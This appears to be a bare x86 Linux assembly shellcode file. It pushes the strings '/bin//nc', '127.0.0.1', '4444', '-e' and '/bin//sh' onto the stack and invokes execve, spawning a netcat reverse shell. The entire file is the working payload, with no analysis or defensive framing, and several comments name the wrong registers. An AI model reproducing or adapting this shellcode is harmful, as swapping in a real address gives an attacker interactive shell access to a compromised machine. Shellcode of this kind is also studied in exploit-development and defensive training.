section .text
global _start

_start:
	xor ebx, ebx				; EBX = 0
	xor ecx, ecx				; ECX = 0
	mul ebx					; EAX, EDX = 0

	push eax				; Push null terminator
	push 0x636e2f2f				; Push "//nc"
	push 0x6e69622f				; Push "/bin"
	mov ebx, esp				; EBX -> "/bin//nc"

	push eax				; Push null terminator
	push byte 0x31				; Push "1"
	push 0x2e302e30				; Push "0.0."
	push 0x2e373231				; Push "127."
	mov ecx, esp				; ESI -> "127.0.0.1"

	push eax				; Push null terminator
	push 0x34343434				; Push "4444"
	mov edx, esp				; EDI -> "4444"

	push eax				; Push null terminator
	push word 0x652d			; Push "-e"
	mov edi, esp

	push eax				; Push null terminator
	push 0x68732f2f				; Push "//sh"
	push 0x6e69622f				; Push "/bin"
	mov esi, esp				; EDX -> "/bin//sh"

	push eax				; Push null terminator
	push esi				; Push "/bin//sh"
	push edi				; Push "-e"
	push edx				; Push "4444"
	push ecx				; Push "127.0.0.1"
	push ebx				; Push "/bin//nc"
	mov ecx, esp				; ECX -> {"/bin//nc", "127.0.0.1", "4444", "-e", "/bin//sh"}

	mov al, 0xb				; EAX = 0xb (execve syscall number)
	cdq                                     ; EDX = 0
	int 0x80                                ; Execute execve syscall